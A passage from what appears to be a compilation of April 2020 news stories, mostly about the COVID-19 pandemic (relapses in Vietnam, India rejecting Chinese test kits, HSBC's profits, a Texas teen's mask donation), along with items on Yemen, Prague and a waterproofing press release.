negative again in the U.K. Health experts have not been able to explain the relapses so far. For now, there is some speculation weak immune systems of the patients might have allowed the virus to flare up again. The National Institute of Hygiene and Epidemiology and the Pasteur Institute in Ho Chi Minh City are cultivating viruses from relapsed patients to further study the cause of the phenomenon. As of Tuesday morning, Vietnam had recorded 270 coronavirus patients and discharged 222. More than 45,000 people are being quarantined and medically monitored across the country, 323 in hospitals, more than 8,400 in isolation facilities and the rest at home. By last Friday morning, the country had gone eight straight days without a new infection, but that evening saw two new cases, both students returning from Japan. They were quarantined on arrival and are now under treatment in Hanoi. There have been no cases of community transmission in the country since April 16. The Covid-19 pandemic has spread to 210 countries and territories, with more than 211,200 deaths reported so far. YEREVAN, APRIL 28, ARMENPRESS. Armenian Prime Minister Nikol Pashinyan urges to get used to living a normal life under the conditions of the novel coronavirus. Speaking live on Facebook, the PM said the coronavirus crisis may last long. Who now can say how long this state of emergency or the regime of this state of emergency may last. Our calculations show that we will be in this coronavirus crisis up to March of the next year. Everyone get prepared that coronavirus will still exist until next March. If we do not get used to living a normal life under the conditions of coronavirus, paying the utility bills, we will have a collapse, he said. He added that it is necessary to return to normal life step by step. Earlier today Pashinyan stated that the current coronavirus-related restrictions across the country will be reduced in the next 10 days. Due to the spread of the novel coronavirus (COVID-19) Armenias government on March 16 declared a state of emergency which was effective until April 14. But the state of emergency was extended until May 14 to further tackle the disease. Reporting by Norayr Shoghikyan; Editing and Translating by Aneta Harutyunyan BAKU, Azerbaijan, April 28 By Jeila Aliyeva - Trend: Export of petrochemical products from Turkmenistan to Georgia has increased, Trend reports with reference to Turkmenportal information portal. The export of automotive gasoline and diesel fuel from Turkmenistan to Georgia for March 2020 amounted to 16,800 tons. Georgia also bought 4,900 tons of aviation kerosene in Turkmenistan. Over the first three months of 2020, more than 40,000 tons of automobile fuel were delivered to the Georgian market. Turkmenistan accounted for 17 percent of fuel and for 74 percent of aviation kerosene. According to the statistics of the National Statistics Center of Georgia, the total cost of products purchased by Georgia from Turkmenistan in January through February 2020 amounted to more than $19 million. Effective steps have been taken to activate the Turkmen-Georgian trade and economic ties. The railway companies of Georgia and Azerbaijan signed an agreement in February of this year on seasonal transit transportation of petroleum products from Turkmenistan at reduced rates, which will be valid from April to November of this year. Georgian-Turkmen relations were established on July 16, 1992. Both countries are members of The UN and the Organization for Security and Co-operation in Europe. --- Follow the author on Twitter: @JeilaAliyeva South Africa asked China for additional doctors to assist the country in its fight against the coronavirus, Health Minister Zweli Mkhize said. It should not be difficult to also get additional foreign-trained doctors through for jobs and volunteer openings, if they are registered in South Africa, Mkhize said on video conference with the countrys parliamentary health committees on Monday. Early Monday morning, 217 Cuban health workers arrived in South Africa, the Cuban embassy said on Twitter. Africas most industrialized country sent some medical supplies back to Cuba in the plane that the doctors traveled in, it said. South Africa has reported 4,546 virus infections and 87 deaths to date. South Africa has almost one doctor for every 1,000 people, below the global average, according to World Bank data. It will lean on China, which has extensive experience in dealing with the pandemic, and would like to implement portions of the community health model that Cuba practices. Share this article Whatsapp Facebook Twitter Linkedin Asip Hasani (The Jakarta Post) Surabaya Tue, April 28 2020 Eight Malaysian students and one Thai student from Al Fatah Islamic boarding school in Temboro village, Magetan regency, East Java, have tested positive for COVID-19, after contact tracing and quarantine measures were instated to address reports that dozens of students had been infected with the virus. The nine foreign santri (Islamic boarding school students) were among 16 students whose swab samples tested positive for COVID-19, Magetan COVID-19 task force spokesman Saif Muchlissun said. This is the result of the first phase of contact tracing in Al Fatah pesantren [Islamic boarding school], which we ran after the Malaysian government announced that a new cluster originated here, he told The Jakarta Post on Sunday. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login HOUSTON Doctors already knew that chills, shaking, muscle pain, headache, sore throat and loss of taste or smell could herald a case of COVID-19. Now the CDC has put those symptoms on its official list. In addition to the well-known symptoms of fever, cough and shortness of breath, the U.S. Centers for Disease Control and Prevention has updated its website with those six new symptoms that could appear after exposure to the new coronavirus. These additions were not surprising to those in Houstons medical community. A questionnaire used to identify potential COVID-19 patients at Memorial Hermann and UTHealth has grown over time, adding diarrhea, loss of smell and taste, and body aches to the list of questions as more COVID-19 patients began describing these symptoms, said Dr. Luis Ostrosky, an infectious disease specialist with Memorial Hermann and UTHealth. The CDC updates federal guidelines as the agency, hospitals and researchers learn more about the disease. Earlier this month, for instance, the CDC began recommending cloth face coverings after studies found that COVID-19 could be spread before a person develops symptoms and that some people can have the disease and be able to share it but never develop symptoms. Or the studies showed people developed symptoms other than fever, cough or shortness of breath and didnt associate them with COVID-19. Adding to the CDC-recognized symptoms could expand the group of people who are tested, which is important because public health interventions at the federal, state and local levels hinge on finding people who are infected, isolating them, tracing their contacts and then isolating those people. Casting a broader net makes more sense to catch more people who may be having atypical symptoms or more minimum symptoms, Ostrosky said. But that doesnt mean everyone with one of these new symptoms should rush to the hospital, said Dr. Faisal Masud, director of the Critical Care Center at Houston Methodist. Muscle aches and pains and headaches are such common things, Masud said. If we go just by headaches, then most of the people in this country will have to be tested. Rather, he said someone with a combination of symptoms should be tested. Masud also emphasized that COVID-19 is a new disease, and the global health care community is still learning about it. The more that testing is being done, the more we are finding out about the disease, Masud said. So this is a journey of finding out more. The CDC says emergency warning signs warranting immediate medical attention include trouble breathing, persistent pain or pressure in the chest, confusion or inability to arouse, and bluish lips or face. However, this list has a giant asterisk. It is not all inclusive, and people should consult their medical providers if experiencing other severe or concerning symptoms. andrea.leinfelder@chron.com twitter.com/a_leinfelder Private hospitals given a $2.6 billion lifeline to help them survive the elective surgery ban could be forced to pay back funds, as regulators investigate complaints about surgeons allegedly performing non-urgent procedures. The Australian Health Practitioner Regulation Agency and state-based healthcare complaint bodies are investigating multiple reports of surgeons in private hospitals allegedly carrying out category 3 procedures after the ban came into effect on March 25. AHPRA has not identified the surgeons. Elective surgeries were banned from midnight on March 25 and are gradually restarting from this week. Credit:iStock Federal Health Minister Greg Hunt said the Morrison government would take "a very dim view" of any breaches of the elective surgery rules, which had banned all category 3 and non-urgent category 2 surgeries until a resumption of 25 per cent capacity was allowed this week. "Its very, very clear that the national cabinet established the rules," Mr Hunt said on Tuesday. PRAGUE, Czech RepublicA Prague district mayor said Tuesday that he has been under police protection due to the presence of a Russian citizen who allegedly came to assassinate him. In an recorded interview broadcast by Prima television, Prague 6 Mayor Ondrej Kolar said he had police protection because of some facts that have been found, the fact that theres a Russian here whose goal is to liquidate me. Not just me, but also Mr. Hrib and Mr. Novotny. The statement came a day after a media report claiming Russian spies may have plotted to poison the mayor of Prague and Kolar, whose recent actions have angered Moscow. Respekt weekly said in its latest edition published on Monday that Czech intelligence services suspected a Russian agent was sent to Prague three weeks ago to poison Prague Mayor Zdenek Hrib and Kolar with ricin, a highly potent toxin. The story was based on anonymous sources. Czech officials didnt comment. On Monday, the Russian Embassy in Prague sent a protest note to the Czech Foreign Ministry over the allegations, calling them baseless and designed to discredit Russia. On Tuesday, the Czech Foreign Ministry said it was inappropriate for a foreign state to question basic rights such as freedom of the press. Hrib and Kolar have both been strongly criticized recently by Russian officials. Hrib is also under police protection. Authorities didnt give any reason for that measure. In February, a Prague square in front of the Russian Embassy was renamed after slain Russian opposition leader Boris Nemtsov, with Hrib unveiling the new nameplate. In April, Kolars district removed the statue of Soviet Second World War commander Ivan Stepanovic Konev, whose armies liberated Prague from Nazi occupation. Officials in Prague 6 said the statue will be moved to a museum and a new monument honouring the citys liberation will be installed in its place. Pavel Novotny, Pragues Reporyje district mayor, angered Russia by a plan to build a monument to the soldiers of Gen. Andrey Vlasovs army, who helped liberate Prague at the end of the Second World War but also were fighting against the Red Army together with Nazi troops. India has scrapped an order for half a million coronavirus testing kits from China after they were allegedly found to have just a five per cent accuracy rate. Some of the 'faulty' kits were already in use in several states but have now been withdrawn by the country's government. The rapid testing kits take around 30 minutes to return a result and are intended to detect antibodies in people who may have already had coronavirus. They were reportedly produced by Chinese firms Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics, according to Indian news outlet NDTV. Wondfo Biotech is also the producer of an antibody test which was recently rejected by the British Government for not having a high enough accuracy rate. Officials in a number of Indian states reported an accuracy rate of just 5.4 per cent for the tests and found they were returning negative results for people who they knew had had the virus. It is unclear from reports which of the two tests was shown to have such a low accuracy rate. India has scrapped an order for half a million coronavirus testing kits from China after they were found to have just a five per cent accuracy rate, according to reports China has disputed India's claims about the quality of the tests. Chinese embassy spokesman Ji Rong told the BBC on Tuesday: 'The quality of medical products exported from China is prioritised. 'It is unfair and irresponsible for certain individuals to label Chinese products as "faulty" and look at issues with pre-emptive prejudice.' However, the BBC said the kits had also failed checks done by the Indian Medical Research Council (ICMR). The tests were imported after several Indian states pushed the ICMR to allow them because of concerns that not enough people were being tested. The antibody testing kits were reportedly produced by Chinese firms Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics, according to Indian news outlet NDTV. Pictured: The test made by Wondfo Biotech Officials in a number of Indian states reported an accuracy rate of just 5.4 per cent and found the tests were returning negative results for people who they knew had had the virus. Pictured: File photo Officials have since told local media that the government 'will not lose a single rupee' from cancelling the huge order because they had not paid in advance. India has now reported 29,451 coronavirus cases, with 939 confirmed deaths. On Monday, it emerged the British government had rejected a test produced by Wondfo Biotech. It was found to have an 82 per cent accuracy rate at identifying people who have had the disease, according to scientists in the US. They tested it independently and found it could correctly identify 81 out of 100 people who had had COVID-19 in the past, and would give fewer than one in 100 false positives among people who hadn't. But for a test to be approved for use in the UK it must meet 98 per cent on both sensitivity and specificity tests, according to the Medicine and Healthcare products Regulatory Agency (MHRA). Firms around the world have been racing to produce antibody testing kits amid the coronavirus crisis but concerns have been raised about how accurate they are. Earlier this month, a British professor told the UK Government that none of the antibody tests which he had so far seen were any good. Professor Sir John Bell, from Oxford University, said the testing kits he had examined so far 'have not performed well' and 'none of them would meet the criteria for a good test'. He said: 'We see many false negatives... and we also see false positives. This is not a good result for test suppliers or for us.' It is unclear from reports which of the two tests was shown to have such a low accuracy rate. Pictured: A health worker checks the body temperature of the rider of a moped in India The UK Government also paid an estimated 16million to two Chinese companies for two million antibody tests which officials then found were not accurate enough to be rolled out. Officials pounced on an early offer of potential tests produced in China with the New York Times reporting officials agreed to pay approximately $20 million to secure the home testing kits. However, when the antibody tests were put through their paces they were found not to be sufficiently accurate and as a result could not be used. It comes after it emerged that Muslims in India are bearing the brunt of the country's coronavirus crisis, with the Hindu-nationalist government blaming an Islamic missionary for a surge in cases. Politicians in the ruling Bharatiya Janata party were quoted by newspapers and TV accusing Muslims of 'corona terrorism' after the country's largest cluster of cases was identified at an Islamic compound in New Delhi. The joint secretary for India's health ministry, Lav Aggarwal, repeatedly called out the congregation in daily news briefings. There has also been a reported surge in violence, business boycotts and hate speech towards the minority in the world's second most populous country. A Texas teen went above and beyond in the fight against coronavirus by donating over 11,000 masks to a local hospital a gesture she hopes will also help dispel bias against Asian Americans in the United States amid the pandemic. Valerie Xu tells PEOPLE she had no hesitations about jumping into action when she began to notice a shortage of masks and PPE in hospitals across the U.S. This is something thats happening nationwide, says the 15-year-old student. Especially in a first world country like the U.S., these things should not be happening and I think as people in this country, we have a civic duty to try and help these [first responders] any way possible. It was that attitude that drove Xu to develop a fundraiser. She ultimately raised enough money to purchase and donate 11,200 masks to UT Southwestern Medical Center in Dallas on Friday morning. Im just really happy that Im able to make a difference and want to show that Asian Americans are with health workers and we want to unite, the Addison teen says. Vivian Xu Valerie Xu Xu says the need became extra clear to her in March after a family friend, who works as an ER doctor in Florida, had to reuse the same mask for multiple weeks. Unfortunately, he is not the only doctor that has to do that which just goes to show the urgent need, she explains. In order for a community to fight this virus, medical workers need to be safely protected. Along with wanting to help frontline workers, Xu says she was inspired to take action after experiencing racism firsthand. (In the wake of the coronavirus outbreak, Asian Americans have reported an increase in racist attacks.) I was in my neighborhood, just walking outside and I wasnt even coughing or anything, she recalls. This lady was walking a few feet away from me, and when she saw me, she immediately covered her entire mouth and pinched her nose. It was a shocker to me, especially since Ive grown up in the U.S., Xu continues. It just made me realize that no matter how much I try to prove myself as an American, my skin color will always define me [this] motivated me to speak out for my race and my community. Story continues Vivian Xu Valerie Xu RELATED: Do Better: Celebs Speak Out Against Racist Attacks Toward Asians During Coronavirus Pandemic On March 20, the teen launched a GoFundMe page called Masks Matter, where she asked friends, family, and community members for donations to purchase masks. Xu also partnered with a local Asian American-run business in Dallas, which matched all of her GoFundMe donations. In just a few weeks, Xu was able to raise a total of $7,500 $3,130 of which was raised on GoFundMe and another $3,130 from the company match. To reach the $7,500 mark, she donated $1,240 from her personal savings. With that money, she was able to purchase 10,000 surgical masks and 1,200 FFP2 masks the European equivalent of N95s from a vendor in China that her mother found through their family connections. I did not expect it to be this big, Xu admits. Our goal was to at least have 5,000 masks, but when we slowly saw it climb [we decided to] increase the number of masks. It was definitely a surprise, but Im just so thankful to everyone who helped spread the message and contributed to my campaign. Vivian Xu Valerie Xus boxes of masks RELATED: 13-Year-Old Boy Who Made Bow Ties to Help Animals Get Adopted Is Now Making Masks for Coronavirus Xu got to personally deliver the boxes to the gracious and thankful Dallas hospital staff on Friday morning a moment that the teen said was particularly meaningful. It means a lot to me because I want to try and inspire a lot of other Asian American women like me, she explains. I just want to make a difference. I want to show others that Asian Americans are standing alongside health workers [and] are willing to help contribute. Everyone in these hospitals in this entire system has been working day to night, and Im just so thankful for all their work and Im more than happy to do this, she adds. Even with a donation of 11,200 masks under her belt, Xu says she doesnt plan on stopping her fundraising efforts. According to the teen, her campaign is currently still open and receiving funds, which she hopes to use for more masks that can eventually be donated to whoever needs it, including other hospitals, nursing homes, and homeless shelters. Vivian Xu Valerie Xu with staff from UT Southwestern Medical Center While Xu has already dedicated a great deal of time to Masks Matter and expects to keep doing so the Greenhill School student says shes also made sure to prioritize her studies along the way. Its been a challenge, Ill say, but I think when it comes to something youre really passionate about, you can always find time to do it, she says. Whenever I had free time, I would usually work on this campaign even like 10, 15 minutes added up. It makes a large difference. Similarly, Xu wants others to know that when it comes to helping people, every action matters. If theres a need in your community, go for it, she urges. I think a lot of people, especially my age, feel like young people cannot make a difference [but] I feel like no matter how small a contribution, it still makes a difference and means something. Even if it is only giving ten doctors masks it symbolizes something to your community, and it still makes a difference in the hearts of essential workers, she continues. Just go ahead and do it because these small actions add up to a large action that can help our community as a whole. As of Tuesday morning, there have been at least 987,691 cases and 50,819 deaths attributed to coronavirus in the United States, according to the New York Times. In Texas, at least 25,960 cases and 699 deaths have been reported, according to the Times. As information about the coronavirus pandemic rapidly changes, PEOPLE is committed to providing the most recent data in our coverage. Some of the information in this story may have changed after publication. For the latest on COVID-19, readers are encouraged to use online resources from CDC, WHO, and local public health departments. PEOPLE has partnered with GoFundMe to raise money for the COVID-19 Relief Fund, a GoFundMe.org fundraiser to support everything from frontline responders to families in need, as well as organizations helping communities. For more information or to donate, click here. MADRID, April 28, 2020 /PRNewswire/ -- The Colombian company Jaramillo Cafe donated approximately 5,500 cups of coffee to bolster the work of British hospital employees, police officers, and firefighters in the midst of the COVID-19 situation. Another 7,000 cups are expected to be donated to other essential British workers' institutions through crowdfunding. In order to send a message of support and encouragement to continue their work, the Colombian company decided to donate 55 kg of Colombian coffee, which serve approximately 5,500 cups, to three institutions. St. Thomas' Hospital in London received 3,000 cups; Norwich Hospital received 2,000 cups for its 8,000 employees; and Lancaster Gate Police Station received 500 cups. Mauricio Jaramillo, Sales Director for Jaramillo Cafe's UK branch, explains how the initiative came about. "Along with ProColombia's invaluable support, we wanted to do our part for all these people risking their lives for others by providing them with a coffee that warms their spirit and encourages them during this difficult time." Jaramillo Cafe, based in the Colombian Coffee Triangle, has been in this market for five years and distributes its product to cafes and independent coffee shops. ProColombia president Flavia Santoro stated, "We applaud this Colombian company's show of solidarity with a key partner, the United Kingdom. Here at ProColombia, we supported this donation, together with our embassy in the UK, as part of of the COnectados strategy. We hope that these cups of coffee will give a boost of energy and encouragement to these heroes so that they can carry out their daily tasks to the best of their abilities." Given the success of the first coffee donation, a second phase is underway, in which the Colombian business community in London is leading a fundraising effort to donate 7,000 cups of coffee. In just six days, the crowdfunding platform raised 100% of the goal; donations are expected to take place in the coming days. The institutions prioritized to receive these donations are Nightingale, St. George's, and King's College hospitals, as well as major London Metropolitan Police Stations. The United Kingdom is among the top 10 countries that purchase Colombian coffee. According to Colombia's Department of Statistics figures analyzed by ProColombia, in 2019 the UK ranked ninth, with US $48.4 million-14.6 million net kg of coffee. In the first few months of 2020, Colombia exported US $9.9 million in coffee to the United Kingdom. Cairo: A declaration of self-rule by the most influential Yemeni southern separatist group has triggered concerns that Yemen's conflict could escalate just as the United Nations is seeking a nationwide ceasefire to prevent the spread of the coronavirus. The United Arab Emirates, the separatists' main backer, said on Monday it opposed the declaration and urged the group to honour a peace deal it signed last year with the internationally recognised government affirming shared control of the south. Saudi Arabia - which, along with the UAE, leads a regional Sunni Muslim coalition fighting in Yemen - called for the separatists to reverse their move, describing it as "an escalatory action." The separatists and the forces loyal to former President Abed Rabbo Mansour Hadi have fought together against Yemen's Shiite Houthi rebels. Credit:AP The UN also voiced concern, urging the feuding sides to adhere to the peace deal, known as the Riyadh Agreement. Accusations of delays in implementing the truce appear to have prompted the Southern Transitional Council's decision over the weekend to declare self-rule. The tensions were the latest jolt to Yemen's south, after at least 14 people, including five children, were killed in flash floods last week in the Red Sea city of Aden, the temporary capital of the internationally recognised Yemeni government. The country, the Arab world's poorest, is already in the grip of the most severe humanitarian crisis after more than five years of conflict. This month, the first case of COVID-19 was detected, sparking fears that the disease could quickly spread at a time when Yemen is facing deep cuts in humanitarian aid funding. As some states begin the process of reopening, churches prepare to resume their in-person gatherings with compassion and caution. Georgia Gov. Brian Kemp unveiled plans to reopen many businesses including church services with guidelines of social distancing this week. Church leaders in Georgia have shown their eagerness to see their congregations but they are aware of the importance of acknowledging the continual threat of COVID-19 infection. They are carefully searching for a balance between courage and caution to transit back to in person gatherings. Michael Lewis, pastor of Roswell Street Baptist Church in Marietta, Ga. told Baptist Press that his team is cautiously planning to reopen as early as May 10, though the date is tentative and dependent on progress as measured by the official guidelines for reopening set out by the White House Coronavirus Task Force. "We're going to adhere very strictly to the CDC guidelines," Lewis said, noting that the May 10 target date could be postponed if necessary. When Marietta, one of Atlanta's northern suburb enters Phase 2 of the COVID-19 guidelines from the Centers for Disease Control and Prevention for reopening states, the 700 attendant church plans to conduct two worship-only services. Micah Fries, Pastor of Brainerd Baptist in Chattanooga, Tenn., wants an incremental approach. "We anticipate that reopening will not be instantaneous," Fries said to the media, "but rather more like a slow return over a period of months." As Brainerd Baptist Church has two locations for Sunday gatherings in different states -main campus in Chattanooga with about 1,900 in attendance and a second campus with about 300 attendance in Rossville, Ga., they must consider two different guidelines and timeliness issued by each state. "We believe it will be lengthy and, at times, unknown," Fries said. "We will take it slowly and show a lot of grace." Some pastors would like to implement online services together which becomes now familiar to congregation during the pandemic. Valdosta's Morningside Baptist, GA., which averages about 350 in attendance, would consider to begin their resumed services with the now familiar drive-in service, where members of the congregation would remain in cars. They will also start to conduct their services two times to keep social distancing. "It may be that they feel more comfortable [with a drive-in service]," Robertson said. "As you decide what you will do, you want your people to be happy and not thinking that they are taking a risk even if you had multiple services." "I'm very confident in our pastors' and our elders' ability to find that balance," Jason Dee, pastor of Christ Covenant Church in Atlanta said to the news. "One of the reasons is they know their flock. They'll know where they probably need some nudging and where some may need some warning." HSBC today revealed its first quarter pre-tax profits have almost halved as it was battered by the global coronavirus pandemic. The banking giant reported pre-tax profits of 2.6billion ($3.2bn), down 48 per cent from 4.9billion ($6.2bn) in the same period in 2019. Europe's largest bank, which is headquartered in London but makes most of its cash in Asia, cited credit losses from clients struck by the economic slowdown and an increase in bad debt as a major cause. Its plans to cut 35,000 jobs as part of spending cuts have been put on hold during the pandemic, CEO Noel Quinn confirmed. He said: 'The economic impact of the Covid-19 pandemic on our customers has been the main driver of the change in our financial performance since the turn of the year'. HSBC reported pre-tax profits of 2.6billion ($3.2bn), down 48 per cent from 4.9billion ($6.2bn) in the same period in 2019. The Asia-focused lender has embarked on a huge cost-cutting initiative as it battles multiple uncertainties caused by the grinding US-China trade war, Britain's departure from the European Union and now the pandemic. Earlier this year it announced plans to slash some 35,000 jobs, trimming fat from less profitable divisions, primarily in the United States and Europe. But COVID-19 has thrown a spanner into the works with HSBC on Tuesday confirming many of the redundancies would be put on hold for now 'to reduce the uncertainty' many of its employees would face in a decimated jobs sector. Banks are being hammered by market volatility and the economic slowdown caused by the virus crisis. But they are also on the receiving end of huge bailouts and support from central banks and regulators. Noel Quinn took over as acting CEO after the shock ouster in August of John Flint. He was finally confirmed as the bank's head last month. He is tasked with transforming the sprawling international bank, which spans more than 50 countries but makes the vast majority of its profits in Asia. In recent years HSBC's Asia business has done well -- fuelled primarily by China -- but Europe and the US have disappointed. Before the coronavirus went global the bank announced plans to make $4.5 billion in cost cuts by 2022, with restructuring costs of around $6 billion. Many of the cutbacks will be in the European and US investment banking sectors, while units in more profitable Asia and the Middle East would be bolstered. The restructuring plans are the most ambitious since 2012 when HSBC was caught up in a Mexican money laundering scandal. HSBC warned defaults would increase the longer the pandemic goes on, with the bank expecting between $7 billion and $11 billion in credit losses from clients in 2020. The biggest risks were currently coming from the 'oil and gas, transport and discretionary consumer sectors', the bank said. But Quinn said it was facing down the global pandemic 'from a position of strength' with 'robust levels of capital, funding and liquidity'. Last month HSBC was one of a number of banks to cancel dividends and buybacks at the request of British regulators. The move is part of an effort to bolster cash reserves for the economic crisis but it caused anger among investors in Asia where some 90 percent of HSBC's profits are made. HSBC's shares plunged after dividends were scrapped. Before the lunchtime break, the bank's shares were up 1,77 percent in Hong Kong. In its results statement HSBC said it plans to review its scrapped dividends policy towards the end of this year. Coronavirus pandemic has hit businesses hard, especially the unorganised sectors. To help Indian crafts people and weavers, organisations including Crafts Council of India, Dastkar, Craft Revival Trust, Weavers Association of Andhra Pradesh, and several designers have come forward for the initiative #HandmadeInIndia. In a way, it alludes to making and buying local, a hat tip to the Swadeshi movement led by Mahatma Gandhi in 1905. Laila Tyabji, craft revivalist, says, The orders and sales have come to an end. The crafts people have no access to any capital or raw material. They dont have insurance, pension or stable income. We want to draw attention to that. During the lockdown, there has been no discussion around this. We, at Dastkar, started a relief fund and have been disbursing money all over India. But we thought that a collective message would reach out to more people, the media and the government. Read: FDCI sets up COVID-19 support fund, Smriti Irani expresses her gratitude Tapping into the power of this soft power of the country, Purnima Rai, former president of Delhi Crafts Council, says, The strengths of the handloom sector are now going to sustain it through this crisis. We foresee problems in terms of the stock that they have, and ways to market it. Online marketing is a possibility. We have to get this message that craft provides livelihood to millions and this is something we have to do for ourselves. The poster has been translated and designed in various Indian languages. Designer Gaurav Jai Gupta, who specialises in woven textiles, says the problem also lies in there being a lack of centralised policies. Since this sector is not organized throughout, it does not get spoken about in bigger scheme of things. Its a living heritage of our country and needs support. We require an equitable economic. As of now, there are no government schemes that are directly helping the craftsmen, he says. Designer Rina Dhaka, who has been involved with the countrys handloom belts like Kota and Bhuj to work with the crafts people, feels that it is important to adapt and innovate to keep the crafts relevant. The design industry, including the students and buyers, has to get more involved and make facilitations. The designer holds the pulse in setting trends, she says. Read: Coronavirus outbreak: FDCI issues refunds to designers Designer Gunjan Jain has been working closely with weavers and crafts people of Odisha for the last 12 years. She feels that to homogenise the industry would be to kill its strength. We have to treat them as equal partners. We have to holistically design a system, she says. And moving forward, crafts will lead the way towards a greener way of life. We are looking at a more sustainable way of life going forward. The crafts community has been offering us all these solutions it has a low carbon footprint, it is decentralised and helps curb migration. Sweatshops produce millions of metric tonnes of fabric which ultimately goes into landfill, she says. With a hope that the public, media and government take notice, Jain concludes, The crafts sector is dependent on the market forces and I hope it recovers soon. Most of these weavers live hand-to-mouth and I hope they take notice of this industry. Interact with Etti Bali @TheBalinian Follow more stories on Facebook and Twitter SHARE THIS ARTICLE ON Integral is better: PENETRON ADMIX provided an integral waterproofing solution to secure the hotels elevator pits against groundwater, superseding original plans for a membrane system. Penetron crystalline waterproofing technology was developed and optimized over many years through careful micro-engineering. The results at Dania Beach and across Southern Florida speak for our success. The March 2020 opening of the Tru by Hilton Hotel in Dania Beach, Florida, underlines the growing popularity of this formerly quiet beach town. Penetron crystalline technology provided a durable solution for the below-grade concrete structures of the beachside hotel. Once viewed as an underrated beach town just south of Fort Lauderdale, Dania Beach was mainly known as the "Tomato Capital of the World. Today, it is rapidly becoming an appealing vacation spot and is now called "The Antique Capital of the South," due to its many antique shops and the location for Hiltons newest Tru brand hotel. With over 100 locations in North America, the Tru by Hilton hospitality brand targets a millennial demographic offering modern and mid-priced hotel rooms. AD1 Global Hospitality, a real estate developer, recently completed this newest Tru by Hilton, a 115-room, six-floor hotel with a gaming center, an outdoor pool, a business area, a fitness center and grab-and-go meal options for guests in Dania Beach. A More Robust Waterproofing Solution With a construction site located in a low-lying seaside city, the Marker Construction Group reached out to Penetron for a robust waterproofing solution for the hotels elevator pits. Initial construction plans called for a traditional membrane system to secure the structure against the sites groundwater. We demonstrated to the engineers at Marker Construction how the waterproofing and corrosion-mitigating properties of Penetron crystalline technology would be significantly more economical when compared to the membrane solution, explains Christopher Chen, Director of The Penetron Group. We were also able to talk about the many similar hospitality projects that opted for our crystalline technology to successfully resolve the identical issue. A Micro Solution for Below-Grade Concrete Because water and waterborne contaminants penetrate concrete mainly through capillary absorption and hydrostatic pressure, solving this problem demands a molecular level solution. Once mixed into the concrete, the active ingredients in PENETRON ADMIX react with water (and elements contained in the concrete) to form insoluble crystals. These permanently fill in cracks, pores and voids in the concrete to become an integral part of the matrix, virtually eliminating any future maintenance costs. Penetron crystalline waterproofing technology was developed and optimized over many years through careful micro-engineering, adds Christopher Chen. The results at Dania Beach and across Southern Florida speak for our success. The Penetron Group is a leading manufacturer of specialty construction products for concrete waterproofing, concrete repairs and floor preparation systems. The Group operates through a global network, offering support to the design and construction community through its regional offices, representatives and distribution channels. For more information on Penetron crystalline technology solutions, please visit http://www.penetron.com, email: CRDept@penetron.com or contact our Corporate Relations Department at 631-941-9700. The month of Ramadan is about fasting, prayers and then gorging on delicacies during iftar. This year, things are different as due to the Covid-19 pandemic and the lockdown, people cant go to the mosques for prayers or meet community members or their loved ones. And celebrities have been urging their fans and followers on social media to stay at home and pray. Hina Khan wished her fans and asked them to pray from home as did many other celebs. She posted selfies post breaking her fast and thanked God and said, Lets pray for the Infected, lets pray for Protection and Healing (sic). Talking about Ramadan, Rakshandha Khan says that the most important aspect of this holy month is ibaadat (prayer). She adds, And if we have free time on our hands, isnt that better? We can now invest our time in the remembrance of the Almighty. Iftaar for me has always been about family. Im very happy to stay home and break my fast with my mother who happily works all day in the kitchen to make whatever I like to eat as this is the one month she can catch hold of me everyday. And as kids, we would have fruit custard daily, so that tradition continues. But fasting doesnt have to be followed by feasting. Especially this year, I think we all need to think of the people who might be facing difficulties and reach out to them and make sure there is food on their tables. Actor Rakshandha Khan is investing her free time in the remembrance of the Almighty (Photo: Instagram) Iqbal Khan, who will be following the Islamic way this month, points out that in times of crisis, one isnt supposed to leave the house to go to a mosque for prayers. And we should all follow the same. For me, this Ramadan will be as always, but I will miss the Tarawi prayer, which happens in the mosque and in the given crisis, it cant be done there. As for rozas, earlier, people who would excuse themselves due to work, but now they all have the opportunity to fast and they should, if possible, he says. Actor Iqbal Khan misses the Tarawi prayer in mosques (Photo: Instagram) SHARE THIS ARTICLE ON Click here for updates on this story HILLSBORO, Ore. (KPTV) -- In a Hillsboro manufacturing facility, workers are trying to churn out prototypes as fast as possible for a combination LED and ultraviolet lighting system they hope will soon become a new weapon in the fight against COVID-19. Lights There, a Portland-based commercial LED lighting company, has partnered with Hillsboro-based Northwest Innovative Technologies to design and manufacture light troffers that will incorporate enclosed UV light chambers behind traditional LED lights. Northwest Innovative Technologies designs and manufactures electronics. We think its a game-changer right now in this environment, said Lights There director and co-founder, Thomas Adkins. Its nothing new that UV is out there, Adkins added. Were just packaging it in a way that protects the human. Adkins told FOX 12 his company has been working on ways to use UV light to kill germs for years, then the pandemic happened. This fast-tracked our company and our development, Adkins said. Recently, FOX 12 visited the facility where the prototypes are in the works and saw a demonstration of how the lights would work. This is a lighting trough, this is typical, said Lights There Operational Director Steve Daniel, as he held a trough. We have an LED lighting fixture which is typical in an office or a hospital. What were doing is creating a chamber behind the light, so theres an area in here where wed have small fans, Daniel continued. The air comes in, goes through the UV kill zone, it comes back out and its exhausted but none of the UV light gets out of the fixture. Lights There claims a typical office room could have all its air sanitized safely in an hour as it is pulled through the system. What we want to do is kill the viruses while theyre still in the air, before theyve even settled onto surfaces, Daniel said. Ultraviolet light has been used to kill bacteria and viruses for years but its dangerous for human skin and eyes. You do have to be careful that you dont expose people to this germicidal UV light because its a health hazard, said Dr. David Brenner, director of the Center of Radiological Research at Columbia University. Brenner is making headlines for the universitys work studying a wavelength of UV light thought to be safe for humans. Its called "Far-UVC light" and Brenner has been experimenting with the wavelengths for years to see if it could be applied to fight the flu in high-traffic areas like buses, airplanes, hospitals and clinics. We think that it has all the killing potential of any type of germicidal UV light but uniquely its safe for human exposure, Brenner said. You can actually have these lights open and exposed in the ceiling. Brenner hasnt seen the enclosed UV system that Lights There and Northwest Innovative Technologies is working on, but spoke to FOX 12 about UV technology in general. This type of approach has been around for at least 20 years and has been tried many times and sometimes, quite successfully, Brenner said. If its set up right, it can certainly work, Brenner said of Lights Theres design. Theres always an issue with these systems, is how much light is actually getting out into the room itself? And that limits the intensity of the light that you can put inside this box. Then theres the question as to whether UV light can kill COVID-19. Scientists are still studying the possibility but believe the answer is yes. Its a perfectly reasonable assumption to assume that conventional germicide will kill the COVID-19 virus, Brenner said. Lights There said a patent on 